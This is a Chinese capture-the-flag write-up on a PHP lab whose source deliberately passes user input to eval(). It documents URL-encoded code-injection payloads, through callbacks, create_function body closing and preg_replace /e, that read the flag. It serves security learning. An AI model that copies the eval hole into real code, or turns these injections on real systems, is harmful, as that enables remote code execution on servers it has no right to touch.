PHP回调函数
2026/6/9 1:27:15 网站建设 项目流程

PHP回调函数RCE靶场 WriteUp

<?phpinclude("get_flag.php");global$flag;session_start();// 开启 sessionfunctionhello_ctf($function,$content){global$flag;$code=$function."(".$content.");";echo"Your Code:$code<br>";eval($code);}functionget_fun(){$func_list=['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];if(!isset($_SESSION['random_func'])){$_SESSION['random_func']=$func_list[array_rand($func_list)];}$random_func=$_SESSION['random_func'];$url_fucn=preg_replace('/_/','-',$_SESSION['random_func']);echo"获得新的函数:$random_func,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";return$_SESSION['random_func'];}functionstart($act){$random_func=get_fun();if($act=="r"){/* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */session_unset();session_destroy();}if($act=="submit"){$user_content=$_POST['content'];hello_ctf($random_func,$user_content);}}isset($_GET['action'])?start($_GET['action']):'';highlight_file(__FILE__);?>

一、 题目分析

题目核心代码如下:

functionhello_ctf($function,$content){global$flag;$code=$function."(".$content.");";echo"Your Code:$code<br>";eval($code);}

代码逻辑:
系统从列表中随机抽取一个PHP函数赋给$function,用户通过 POST 提交content参数,两者拼接后进入eval()执行。例如:函数是array_filter,用户输入X,最终执行的就是array_filter(X);

目标:构造合适的content,让拼接后的代码能读取全局变量$flag


二、 踩坑记录与核心思路转变(重要!)

在最初尝试时,针对回调函数(如array_filter),我使用了assert作为回调来执行代码:

content=['echo $flag'], 'assert'

报错:
Fatal error: Uncaught ArgumentCountError: array_filter() expects at most 2 arguments, 3 given

原因分析:

  1. PHP版本问题:PHP 7.2 及以上版本,assert()不再作为普通的可回调函数使用,将其作为字符串传入call_user_func或数组回调中会导致解析异常或参数错位。
  2. 变量解析问题$flag被解析为具体的字符串后,如果内部包含单引号或特殊字符,会导致原本的字符串提前闭合,使得 PHP 误判为传入了多余的参数。

核心思路转变:
对于带有回调特性的函数(array_map,array_filter,usort等),最稳定、最通用的方法不是让回调去“执行代码”,而是让回调去“打印变量”

我们将$flag放入数组中,回调函数使用var_dumpprint_r。系统执行时,会自动将数组中的$flag取出传给var_dump,从而直接输出 flag,完美避开assert的兼容性问题!


三、 抓包改包操作流程

  1. 访问首页,记录页面提示的随机函数名Cookie (PHPSESSID)
  2. 使用 Burp Suite / Hackbar 构造 POST 请求,URL 加上?action=submit
  3. 必须带上 Cookie,否则 Session 丢失,服务器会重新随机函数导致 Payload 失效。
  4. 在 Body 中传入对应的content(注意:抓包改包时特殊字符需进行 URL 编码)。

四、 全函数 Payload 字典(抓包专用)

以下 Payload 均已解决引号闭合和参数数量问题,分为直接代码执行型回调变量输出型。推荐优先使用var_dump方法,通杀所有 PHP 版本。

1.eval/assert(直接执行型)

需用单引号包裹代码,拼接后为eval('echo $flag');

函数content 明文抓包 Body (URL编码)
eval'echo $flag'content='echo%20%24flag'
assert'echo $flag'content='echo%20%24flag'

2. 回调执行代码型(仅适用于 PHP < 7.2)

通过回调assert执行代码。

函数content 明文抓包 Body (URL编码)
call_user_func'assert', 'echo $flag'content='assert'%2C%20'echo%20%24flag'
call_user_func_array'assert', ['echo $flag']content='assert'%2C%20%5B'echo%20%24flag'%5D
array_map'assert', ['echo $flag']content='assert'%2C%20%5B'echo%20%24flag'%5D
array_filter['echo $flag'], 'assert'content=%5B'echo%20%24flag'%5D%2C%20'assert'
usort['echo $flag','echo $flag'], 'assert'content=%5B'echo%20%24flag'%2C'echo%20%24flag'%5D%2C%20'assert'
array_reduce[0], 'assert', 'echo $flag'content=%5B0%5D%2C%20'assert'%2C%20'echo%20%24flag'

3. 回调变量输出型(🌟 通杀推荐,适配 PHP 7.2+)

不执行代码,直接用var_dump打印$flag变量本身,无需引号包裹$flag

函数content 明文抓包 Body (URL编码)
call_user_func'var_dump', $flagcontent='var_dump'%2C%20%24flag
call_user_func_array'var_dump', [$flag]content='var_dump'%2C%20%5B%24flag%5D
array_map'var_dump', [$flag]content='var_dump'%2C%20%5B%24flag%5D
array_filter[$flag], 'var_dump'content=%5B%24flag%5D%2C%20'var_dump'
usort[$flag,1], 'var_dump'content=%5B%24flag%2C1%5D%2C%20'var_dump'
array_reduce[$flag], 'var_dump'content=%5B%24flag%5D%2C%20'var_dump'

4. 特殊构造型

函数content 明文抓包 Body (URL编码)原理
create_function'', '}echo $flag;/*'content=''%2C%20'%7Decho%20%24flag%3B%2F*'提前闭合函数体,注释掉多余的}
preg_replace'/./e', 'echo $flag', '1'content='%2F.%2Fe'%2C%20'echo%20%24flag'%2C%20'1'利用/e修饰符执行替换字符串(仅限 PHP < 7.0)

五、 总结

做 PHP 回调函数 RCE 题目时:

  1. 看清 PHP 版本:高版本直接放弃assert回调。
  2. 思路要灵活:不要死磕“执行代码”,利用系统自带的输出函数(var_dump,print_r)作为回调去“打印变量”是更优雅、更稳定的解法。
  3. 注意抓包细节:一定要带上 Session Cookie,且 Body 中的特殊字符(如空格、$[])必须 URL 编码,否则极易出现参数解析错误。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询